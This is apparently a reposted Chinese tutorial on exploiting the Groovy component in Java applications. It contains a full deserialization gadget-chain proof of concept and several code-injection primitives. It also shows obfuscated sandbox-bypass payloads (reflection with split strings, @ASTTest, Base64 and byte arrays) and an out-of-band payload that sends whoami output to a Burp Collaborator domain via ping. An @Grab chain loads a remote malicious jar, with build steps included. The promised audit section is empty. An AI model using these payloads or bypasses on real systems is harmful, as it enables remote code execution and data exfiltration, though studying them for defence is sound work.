Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法

反序列化

Groovy : 1.7.0-2.4.3

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
                MethodClosure.call()
                    ProcessGroovyMethods.execute()

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class Groovy_POC {
    public static String serialize(Object obj) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        barr.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    public static void unserialize(String base64) throws Exception{
        byte[] decode = Base64.getDecoder().decode(base64);
        ByteArrayInputStream barr = new ByteArrayInputStream(decode);
        ObjectInputStream inputStream = new ObjectInputStream(barr);
        inputStream.readObject();
    }
    public static void main(String[] args) throws Exception{
        //封装对象
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
        //反射获取AnnotationInvocationHandler构造方法
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        //动态代理
        Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
        //初始化
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
        //序列化
        String serialize = serialize(invocationHandler);
        System.out.println(serialize);
        //反序列化
        unserialize(serialize);
    }
}

代码注入

条件

如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本，且程序并未对输入的Groovy代码进行有效的过滤，那么会导致恶意的Groovy代码注入，从而RCE

多种命令执行方法

运行这样一个Groovy代码，将会弹出一个计算器，成功执行了命令(def是用来定义标识符)

//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

//回显的方式
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"

注入点分析

MethodClosure

看看他的构造方法

可以发现他传入了一个对象，第二个是对象的方法，通过其中的docall方法进行调用

但是方法是修饰的，不能直接调用，调用它的父类的call方法间接调用docallprotectedClosure

package ysoserial.vulndemo;

import org.codehaus.groovy.runtime.MethodClosure;

public class GroovyInject {
    public static void main(String[] args) {
//        MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");
//        methodClosure.call("calc");
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        methodClosure.call();
    }
}

GroovyShell

类中的方法有多个重载，支持有 等参数类型，能够通过Groovy代码写入或者本地加载或者远程加载Groovy脚本来执行命令evaluateGroovyCodeSource String File URI

其中的方法就是或者对应的Groovy脚本，之后调用run方法进行执行代码内容parse

//直接执行Groovy代码
GroovyShell shell = new GroovyShell();
shell.evaluate("'calc'.execute()");

//通过加载本地脚本
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
script.run();

GroovyShell shell = new GroovyShell();
shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));

//通过加载远程脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));

这里的url和Groovy代码同样可以通过GroovyCodeSource封装之后执行执行代码evalute

GroovyScriptEngine

GroovyScriptEngine可从指定的位置（文件系统、URL、数据库等等）加载Groovy脚本，并且随着脚本变化而重新加载它们

其构造方法存在重载的方式，可以指定远程Url/根文件位置/ClassLoader

之后通过使用run方法回显，有两个重载，一个是传入脚本名和对应的参数，另一个是脚本名和Binding对象

//通过传入根路径之后调用对应的脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");
scriptEngine.run("GroovyTest.groovy", "");

//通过调用远程url之后调用特定脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("GroovyTest.groovy", "");

//通过Binding加载
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());

GroovyClassLoader

GroovyClassLoader是一个定制的类装载器，负责解释加载Java类中用到的Groovy类，重写了loadClass和defineClass方法

parseClass 可以直接从文件或者字符串中获取groovy类

//从文件中获取Groovy类
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
GroovyObject object = (GroovyObject) aClass.newInstance();
object.invokeMethod("main", "");

//从文本中获取Groovy类
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass("class GroovyTest {n" +
"    static void main(args){n" +
"        println "${'whoami'.execute().text}"n" +
"n" +
"    }n" +
"}");
GroovyObject groovyObject = (GroovyObject) aClass.newInstance();
groovyObject.invokeMethod("main", "");

ScriptEngine

在ScriptEngine中，支持名为“groovy”的引擎，可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的

ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval(""whoami".execute().text"));

bypass方法

反射+字符串拼接

import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")

Groovy沙箱绕过

Groovy代码注入都是注入了execute()函数，从而能够成功执行Groovy代码，这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了

@AST注解执行断言

https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations

利用AST注解能够执行断言从而实现代码执行

//@AST注解执行断言
this.class.classLoader.parseClass("""
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("calc")
    })
    def x
""")

//OOB

@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//使用Base64编码
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))

//同样可以直接使用Byte
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

模拟受害者：

class TestScript {
    static void main(String[] args) {
        //加载恶意脚本
        GroovyShell shell = new GroovyShell()
        shell.parse(new File("Test.groovy")).run();
    }
}

@Grab注解加载远程恶意类

Grape是Groovy内建的一个动态Jar依赖管理程序，允许开发者动态引入不在ClassPath中的函式库

需要导入依赖，不然会报错(你可以试试)ivy

<dependency>
    <groupId>org.apache.ivy</groupId>
    <artifactId>ivy</artifactId>
    <version>2.4.0</version>
</dependency>

POC

//@Grab注解加载远程恶意类
this.class.classLoader.parseClass("""
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name="Poc", root="http://127.0.0.1:8888/")
    @Grab(group="Poc", module="EvilJar", version="0")
    import java.lang.String
""");

这里的加载依赖会看本地仓库是否有，如果没有就从root服务器的目录里面下载文件，默认存放在目录下group/module/versionEvilJar-0.jar~/.groovy/grapes

之后使用方法处理其他服务，比如这里的nameprocessOtherServices

我们就需要在服务器上编写一个恶意类

//Poc.java
public class Poc{
    Poc() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

//编译成.class文件
javac Poc.java
//创建目录
mkdir -p META-INF/services/
//在org.codehaus.groovy.plugins.Runners中写入加载的类名Poc
echo Poc > META-INF/services/org.codehaus.groovy.plugins.Runners
//将.class文件打包成jar包
jar cvf module-version.jar Poc.class META-INF/
//创建放jar包的目录
mkdir -p group/module/version/
//将jar包复制到该目录下
mv module-version.jar group/module/version
//之后开启http服务

排查方法

排查关键类函数特征：

来源：先知社区的【LeeH】师傅

注：如有侵权请联系删除

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原文始发于微信公众号（衡阳信安）：Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法